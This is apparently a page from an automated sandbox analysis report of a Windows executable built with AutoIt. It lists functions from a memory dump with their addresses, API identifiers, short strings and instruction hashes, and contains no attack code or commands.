                                                          Function 00007FF787BDD4EC Relevance: 6.0, APIs: 4, Instructions: 24threadCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: CurrentOpenProcessThreadToken
                                                          • String ID:
                                                          • API String ID: 3974789173-0
                                                          • Opcode ID: 5cd93aab99a75fcfcb42631ab9fe43dfed1bd9e6d723e162398547d1910a1280
                                                          • Instruction ID: 10afb212ee124776b4e2f701c70c3c8ec6b843543ff0ba3d84cee46ae1f29b03
                                                          • Opcode Fuzzy Hash: 5cd93aab99a75fcfcb42631ab9fe43dfed1bd9e6d723e162398547d1910a1280
                                                          • Instruction Fuzzy Hash: 91F06561AA994282FB50AF61FC4477D67A4BF58F99FE84035C90F53250EF3C998AC710
                                                          Function 00007FF787BD326E Relevance: 6.0, APIs: 4, Instructions: 19COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: CapsDesktopDeviceReleaseWindow
                                                          • String ID:
                                                          • API String ID: 2889604237-0
                                                          • Opcode ID: 1feedfad755e607c49e01145a3823af596c92df2e00356d80eed4a018d1c4b5c
                                                          • Instruction ID: 93fa4cc89bcd001ae6915067fa1c860638268b9dcd73443ffbd559959d6d966a
                                                          • Opcode Fuzzy Hash: 1feedfad755e607c49e01145a3823af596c92df2e00356d80eed4a018d1c4b5c
                                                          • Instruction Fuzzy Hash: FDE0ED60B5930286F700EB62A85C1399659BB48FE1FA44074CD0F03B65EE3C5006C320
                                                          Function 00007FF787BD3287 Relevance: 6.0, APIs: 4, Instructions: 18COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: CapsDesktopDeviceReleaseWindow
                                                          • String ID:
                                                          • API String ID: 2889604237-0
                                                          • Opcode ID: 0f8fd1d3423bd3015dfaeae2d2106595fe3726f148ce33332917fba087c4fcce
                                                          • Instruction ID: de0871cbcb643e98a8786bfb39d9860d69404400a3995dbcc83697550627b767
                                                          • Opcode Fuzzy Hash: 0f8fd1d3423bd3015dfaeae2d2106595fe3726f148ce33332917fba087c4fcce
                                                          • Instruction Fuzzy Hash: 4BE04F60F693028AEB00EB62E80C139A659BF49FE1FA00074CD0F03B61EF3DA006C320
                                                          Function 00007FF787BACC78 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 245COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo
                                                          • String ID: gfffffff
                                                          • API String ID: 3215553584-1523873471
                                                          • Opcode ID: dc31ed7580b08dc4a7b229eebc0aac3b305a5916052008eb2c70828ae2249d51
                                                          • Instruction ID: 83a875c5024fb9661f27b97cd8e428144c3fc3fc295ca432352dfd163c459cf5
                                                          • Opcode Fuzzy Hash: dc31ed7580b08dc4a7b229eebc0aac3b305a5916052008eb2c70828ae2249d51
                                                          • Instruction Fuzzy Hash: E6914A72A4A38689EB22AF26914037CEF56BB257C0F648131DB8E07395DE3DE917D311
                                                          Function 00007FF787BAD0A8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo
                                                          • String ID: e+000$gfff
                                                          • API String ID: 3215553584-3030954782
                                                          • Opcode ID: 04dcd116da85894f10939a0f3d563d07a18b7e7aec23bacfc76a5396d48b7619
                                                          • Instruction ID: 6463ed9763d358a502492870345a4ad02e5506ea43364795d46e65e2a95a3dc7
                                                          • Opcode Fuzzy Hash: 04dcd116da85894f10939a0f3d563d07a18b7e7aec23bacfc76a5396d48b7619
                                                          • Instruction Fuzzy Hash: D0513872B5D7C146E726AF36D940369EE92FB81B90F988231C69E47AD9CE2CD042C710
                                                          Function 00007FF787BAA09C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: FileModuleName_invalid_parameter_noinfo
                                                          • String ID: C:\Users\user\Desktop\RMBOriPHVJ.exe
                                                          • API String ID: 3307058713-1639129393
                                                          • Opcode ID: d66799c7fb8d49ba8911ba2da8beafd52f849db9660eadf2b3aeaa59b2ad0887
                                                          • Instruction ID: 52df2ea9ae1a66080a1ae7d15d7c98ad5319a62258aa0c91ee724ea40a218f1a
                                                          • Opcode Fuzzy Hash: d66799c7fb8d49ba8911ba2da8beafd52f849db9660eadf2b3aeaa59b2ad0887
                                                          • Instruction Fuzzy Hash: 60418C32A49A5299EB16BF22D8400B9EBA6FF45BD4BE44035E90F47B45DE3DE447C320
                                                          Function 00007FF787C003C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 81COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _snwprintf
                                                          • String ID: , $$AUTOITCALLVARIABLE%d
                                                          • API String ID: 3988819677-2584243854
                                                          • Opcode ID: c7e08f6a60c99c5d777c2b71318a0fa50eea3cb020f88eb0f1ff8c1330ae95ab
                                                          • Instruction ID: f29b04ee8cd651e1002e2a95f0303a9c389886580208dc4b94174cdd0e74c27b
                                                          • Opcode Fuzzy Hash: c7e08f6a60c99c5d777c2b71318a0fa50eea3cb020f88eb0f1ff8c1330ae95ab
                                                          • Instruction Fuzzy Hash: A8318C76B49B0295EB10EB64E4511ECA766FB44784BA14032DE1E27B59CF3CE54BC360
                                                          Function 00007FF787C1B224 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Window$CreateMessageObjectSendStock
                                                          • String ID: $SysTabControl32
                                                          • API String ID: 2080134422-3143400907
                                                          • Opcode ID: bda9a96d7587ee0db61141e8122984108ce719646b8dc1b3190cd5c08410ff98
                                                          • Instruction ID: 30499cad546b17a9bbff4fe40f26ed9a7220ea47839d1edfd36d410f52415a43
                                                          • Opcode Fuzzy Hash: bda9a96d7587ee0db61141e8122984108ce719646b8dc1b3190cd5c08410ff98
                                                          • Instruction Fuzzy Hash: 4D316B325087C1CAE760DF15E44475ABBA4F784BB4F644339EAA917AD8CB38D492CF10
                                                          Function 00007FF787C1A0C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Window$ColorCreateMessageObjectRectSendStock
                                                          • String ID: static
                                                          • API String ID: 1983116058-2160076837
                                                          • Opcode ID: 2cf77c951f50a5aa7b90eeaf8a6614b83960d367aa0043a5ee29e49d78538776
                                                          • Instruction ID: a5883138cfe7db145dc86e5c2dd800d32b76aa5884f056e85e6e0cc31372812a
                                                          • Opcode Fuzzy Hash: 2cf77c951f50a5aa7b90eeaf8a6614b83960d367aa0043a5ee29e49d78538776
                                                          • Instruction Fuzzy Hash: E4314B32A08781CBD724DF29E444B5AB7A5F788790F604239EB9D53B98CB38E851CF10
                                                          Function 00007FF787C19868 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$CreateObjectStockWindow
                                                          • String ID: Combobox
                                                          • API String ID: 1025951953-2096851135
                                                          • Opcode ID: 64d9c3cb7b5de17515fad991fab36aed20c74e14fc7f9fd3c19d97b8fd4a0418
                                                          • Instruction ID: 2552229e2428a7c5dc32f2c500fe43ec351a78cb14ac03a43ba59dbc778c275e
                                                          • Opcode Fuzzy Hash: 64d9c3cb7b5de17515fad991fab36aed20c74e14fc7f9fd3c19d97b8fd4a0418
                                                          • Instruction Fuzzy Hash: 8B3129326087C186E7709F15F444B5AB7A5F795790F604235EAA903B99CB3CD841CF10
                                                          Function 00007FF787BFE708 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Internet$OpenOption
                                                          • String ID: <local>
                                                          • API String ID: 942729171-4266983199
                                                          • Opcode ID: 8fc137a1ef2bd80f32763a254e30885bf035247cf28a45f4fd96fdfcbffecfa0
                                                          • Instruction ID: 1331eb6582d545cb1804737d77285ef192770499c0f6b39c60ae36760968b1f2
                                                          • Opcode Fuzzy Hash: 8fc137a1ef2bd80f32763a254e30885bf035247cf28a45f4fd96fdfcbffecfa0
                                                          • Instruction Fuzzy Hash: B4119836A5964182E7519B15E5007BDA662F780F58FF44035DB4E07AA4DF3DD887CB10
                                                          Function 00007FF787BB15B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _ctrlfp_handle_error_raise_exc
                                                          • String ID: !$tan
                                                          • API String ID: 3384550415-2428968949
                                                          • Opcode ID: 2d553fd115d33d3a807ffc94b8434da97490ee8f564b276a29f6e1ed56bbbb66
                                                          • Instruction ID: 8224173b369cb96df2b3218afa8eee05178cc8304b601e5747c4a6a26b1e393a
                                                          • Opcode Fuzzy Hash: 2d553fd115d33d3a807ffc94b8434da97490ee8f564b276a29f6e1ed56bbbb66
                                                          • Instruction Fuzzy Hash: D201D631A28B8942DA10DF12A44033AA563FBDA7C4F604335EA5F0BB84EF3CD051CB00
                                                          Function 00007FF787BB14E8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _ctrlfp_handle_error_raise_exc
                                                          • String ID: !$cos
                                                          • API String ID: 3384550415-1949035351
                                                          • Opcode ID: 59a2c881f09cdb696690f699cc12801b637b051dbcc35695dacf0c08331e8fc0
                                                          • Instruction ID: 3f64ebc949ec3503debea64f97287d7fa0192013e3d0e4b9671a9820caca0d73
                                                          • Opcode Fuzzy Hash: 59a2c881f09cdb696690f699cc12801b637b051dbcc35695dacf0c08331e8fc0
                                                          • Instruction Fuzzy Hash: 4901F532E29B8942D610DF22944037AA563BF9A7C4F604335E95B0AB84EF3CD051CB04
                                                          Function 00007FF787BB14FC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _ctrlfp_handle_error_raise_exc
                                                          • String ID: !$sin
                                                          • API String ID: 3384550415-1565623160
                                                          • Opcode ID: 9c5650ba25f23863d1585264c289844e213b1bc1e7bffeede2023515f4cd1262
                                                          • Instruction ID: 0b66651f688b8733f39d65e08d8132544812805c3d4fe60e7ac7517b6f125c8c
                                                          • Opcode Fuzzy Hash: 9c5650ba25f23863d1585264c289844e213b1bc1e7bffeede2023515f4cd1262
                                                          • Instruction Fuzzy Hash: A201F532E28B8942D610DF22944037AA663BF9A7C4F604335ED5B0AB84EF6CD041CB00
                                                          Function 00007FF787BB1370 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _handle_error
                                                          • String ID: "$exp
                                                          • API String ID: 1757819995-2878093337
                                                          • Opcode ID: 1dd5b4e450707440dd9d18b5c78d2e187119c4904f0596c8cb375bf303972248
                                                          • Instruction ID: 6510092537877c7c0a48a1128709594c77d0f4d5a38f65aec3b4d32eb1133a39
                                                          • Opcode Fuzzy Hash: 1dd5b4e450707440dd9d18b5c78d2e187119c4904f0596c8cb375bf303972248
                                                          • Instruction Fuzzy Hash: B801A536929A8887E220DF24D0452AABBB1FFEA344F605315E7451AA60DB7DD486DB00
                                                          Function 00007FF787BDC59C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Message
                                                          • String ID: AutoIt$Error allocating memory.
                                                          • API String ID: 2030045667-4017498283
                                                          • Opcode ID: f1d0e9594dbd70012e5d94681f3f0c05ed3699d04d903328bffb77d45b4c69ef
                                                          • Instruction ID: 5513916e2db170aa8cdf530facd953abed83b10be19457e7c15ac0ad15be6953
                                                          • Opcode Fuzzy Hash: f1d0e9594dbd70012e5d94681f3f0c05ed3699d04d903328bffb77d45b4c69ef
                                                          • Instruction Fuzzy Hash: CBF0A730B5868642E7287355F1453B9A652BF487C0FE45431D91A47B9ADDACD492C320
                                                          Function 00007FF787B975C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          • try_get_function.LIBVCRUNTIME ref: 00007FF787B975E9
                                                          • TlsSetValue.KERNEL32(?,?,?,00007FF787B97241,?,?,?,?,00007FF787B9660C,?,?,?,?,00007FF787B94CD3), ref: 00007FF787B97600
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Valuetry_get_function
                                                          • String ID: FlsSetValue
                                                          • API String ID: 738293619-3750699315
                                                          • Opcode ID: 5ef202829eb63c082d646b2b3c40b210c8e2726f911b0f602dea3cecf0443926
                                                          • Instruction ID: 15f573e5cc693774e740260ccd4ab92e56efeb65905086c74b2f32f9c165ec1b
                                                          • Opcode Fuzzy Hash: 5ef202829eb63c082d646b2b3c40b210c8e2726f911b0f602dea3cecf0443926
                                                          • Instruction Fuzzy Hash: 85E0E531A6C54291EB457B01F4001B4A3A6BF48B91FEC4031D92F03250CE3CE447C220
                                                          Function 00007FF787B95620 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 11COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF787B95629
                                                          • _CxxThrowException.LIBVCRUNTIME ref: 00007FF787B9563A
                                                            • Part of subcall function 00007FF787B97018: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF787B9563F), ref: 00007FF787B9708D
                                                            • Part of subcall function 00007FF787B97018: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF787B9563F), ref: 00007FF787B970BF
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
